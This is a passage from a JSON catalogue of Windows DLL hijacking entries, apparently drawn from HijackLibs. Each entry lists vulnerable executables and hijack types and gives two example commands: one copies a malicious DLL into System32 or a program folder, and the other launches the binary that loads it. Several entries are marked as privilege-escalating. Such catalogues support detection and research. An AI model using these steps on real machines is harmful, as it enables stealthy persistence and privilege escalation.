    "description": "wkscli.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wkscli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wkscli",
    "name": "wkscli.dll",
    "namespace": "windows:dllhijack:wkscli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wkscli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wlanapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wlanapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\legacynetuxhost.exe\\\"\"\n\n# wlanapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\legacynetuxhost.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\wifitask.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-wlanapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wlanapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wlanapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wlanapi",
    "name": "wlanapi.dll",
    "namespace": "windows:dllhijack:wlanapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wlanapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wlancfg.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wlancfg.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# wlancfg.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wlancfg.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wlancfg.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wlancfg.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wlancfg",
    "name": "wlancfg.dll",
    "namespace": "windows:dllhijack:wlancfg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wlancfg.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wlbsctrl.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wlbsctrl.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\svchost.exe\\\"\"\n\n# wlbsctrl.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\svchost.exe (Phantom)\n",
    "_source": "windows-dllhijack-wlbsctrl.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wlbsctrl.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "wlbsctrl.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wlbsctrl",
    "name": "wlbsctrl.dll",
    "namespace": "windows:dllhijack:wlbsctrl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992"
      },
      {
        "label": "Reference",
        "url": "https://www.youtube.com/watch?v=MZ8fgAN2As8"
      },
      {
        "label": "Reference",
        "url": "https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wlbsctrl.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wldp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wldp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mshta.exe\\\"\"\n\n# wldp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mshta.exe (Sideloading)\n- %SYSTEM32%\\securityhealthservice.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\write.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wldp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wldp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wldp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wldp",
    "name": "wldp.dll",
    "namespace": "windows:dllhijack:wldp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wldp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wlidprov.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wlidprov.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicecensus.exe\\\"\"\n\n# wlidprov.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n- %SYSTEM32%\\shellappruntime.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wlidprov.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wlidprov.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "wlidprov.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wlidprov",
    "name": "wlidprov.dll",
    "namespace": "windows:dllhijack:wlidprov",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wlidprov.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wmiclnt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wmiclnt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dispdiag.exe\\\"\"\n\n# wmiclnt.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dispdiag.exe (Sideloading)\n- %SYSTEM32%\\iscsicli.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wmiclnt.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wmiclnt.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wmiclnt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wmiclnt",
    "name": "wmiclnt.dll",
    "namespace": "windows:dllhijack:wmiclnt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wmiclnt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wmicodegen.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\windows kits\\\\%VERSION%\\\\bin\\\\%VERSION%\\\\wmicodegen.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\windows kits\\\\%VERSION%\\\\bin\\\\%VERSION%\\\\convert-moftoprovider.exe\\\"\"\n\n# wmicodegen.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\windows kits\\%VERSION%\\bin\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\windows kits\\%VERSION%\\bin\\%VERSION%\\convert-moftoprovider.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-wmicodegen.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wmicodegen.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wmicodegen.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wmicodegen",
    "name": "wmicodegen.dll",
    "namespace": "windows:dllhijack:wmicodegen",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securelist.com/apt41-in-africa/116986/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wmicodegen.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wmidcom.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wmidcom.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\stordiag.exe\\\"\"\n\n# wmidcom.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wmidcom.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wmidcom.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "wmidcom.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wmidcom",
    "name": "wmidcom.dll",
    "namespace": "windows:dllhijack:wmidcom",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wmidcom.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wmiutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wbem\\\\wmiutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\stordiag.exe\\\"\"\n\n# wmiutils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\\wbem\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %SYSTEM32%\\tasklist.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wmiutils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wmiutils.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "wmiutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wmiutils",
    "name": "wmiutils.dll",
    "namespace": "windows:dllhijack:wmiutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wmiutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wmpdui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wmpdui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wmpdmc.exe\\\"\"\n\n# wmpdui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wmpdmc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wmpdui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wmpdui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wmpdui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wmpdui",
    "name": "wmpdui.dll",
    "namespace": "windows:dllhijack:wmpdui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wmpdui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wmsgapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wmsgapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\osk.exe\\\"\"\n\n# wmsgapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\osk.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wmsgapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wmsgapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wmsgapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wmsgapi",
    "name": "wmsgapi.dll",
    "namespace": "windows:dllhijack:wmsgapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wmsgapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wofutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wofutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\recoverydrive.exe\\\"\"\n\n# wofutil.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\recoverydrive.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-wofutil.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wofutil.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wofutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wofutil",
    "name": "wofutil.dll",
    "namespace": "windows:dllhijack:wofutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wofutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wow64log.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wow64log.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"cmder.exe\\\"\"\n\n# wow64log.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- cmder.exe (Phantom)\n\n**Acknowledgement:** ice-wzl\n",
    "_source": "windows-dllhijack-wow64log.md",
    "author": "ice-wzl",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wow64log.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "wow64log.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wow64log",
    "name": "wow64log.dll",
    "namespace": "windows:dllhijack:wow64log",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://waleedassar.blogspot.com/2013/01/wow64logdll.html"
      },
      {
        "label": "Reference",
        "url": "https://github.com/ice-wzl/Cmder_DLL_Side-Loading/blob/main/README.md"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wow64log.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wpdshext.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wpdshext.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# wpdshext.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wpdshext.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wpdshext.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "wpdshext.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wpdshext",
    "name": "wpdshext.dll",
    "namespace": "windows:dllhijack:wpdshext",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wpdshext.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wptsextensions.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wptsextensions.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\svchost.exe\\\"\"\n\n# wptsextensions.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\svchost.exe (Phantom) [PrivEsc]\n\n**Acknowledgement:** itm4n\n",
    "_source": "windows-dllhijack-wptsextensions.md",
    "author": "k4nfr3",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wptsextensions.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "wptsextensions.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wptsextensions",
    "name": "wptsextensions.dll",
    "namespace": "windows:dllhijack:wptsextensions",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wptsextensions.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wsc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\AVAST Software\\\\Avast\\\\wsc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"wsc_proxy.exe\\\"\"\n\n# wsc.dll\n\n**Vendor:** Avast\n\n**Expected Location:** %PROGRAMFILES%\\AVAST Software\\Avast\n\n**Vulnerable Executables:**\n- wsc_proxy.exe (Search Order)\n",
    "_source": "windows-dllhijack-wsc.md",
    "author": "Matt Green",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wsc.dll — Search Order hijacking (Avast)",
    "execution": {
      "template": "wsc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wsc",
    "name": "wsc.dll",
    "namespace": "windows:dllhijack:wsc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/netero1010/Vulnerability-Disclosure/tree/main/CVE-2022-AVAST2"
      },
      {
        "label": "Reference",
        "url": "https://securelist.com/cycldek-bridging-the-air-gap/97157/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wsc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wscapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wscapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wscadminui.exe\\\"\"\n\n# wscapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wscadminui.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-wscapi.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wscapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wscapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wscapi",
    "name": "wscapi.dll",
    "namespace": "windows:dllhijack:wscapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wscapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wsdapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wsdapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\bin\\\\%VERSION%\\\\x64\\\\wsddebug_host.exe\\\"\"\n\n# wsdapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Kits\\10\\bin\\%VERSION%\\x64\\wsddebug_host.exe (Sideloading)\n",
    "_source": "windows-dllhijack-wsdapi.md",
    "author": "Gary Lobermier",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wsdapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wsdapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wsdapi",
    "name": "wsdapi.dll",
    "namespace": "windows:dllhijack:wsdapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://globetech.biz/index.php/2023/05/19/evading-edr-by-dll-sideloading-in-csharp/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wsdapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wshbth.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wshbth.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ftp.exe\\\"\"\n\n# wshbth.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ftp.exe (Environment Variable)\n- %SYSTEM32%\\hostname.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wshbth.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wshbth.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "wshbth.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wshbth",
    "name": "wshbth.dll",
    "namespace": "windows:dllhijack:wshbth",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wshbth.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wshelper.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wshelper.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# wshelper.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wshelper.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wshelper.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wshelper.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wshelper",
    "name": "wshelper.dll",
    "namespace": "windows:dllhijack:wshelper",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wshelper.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
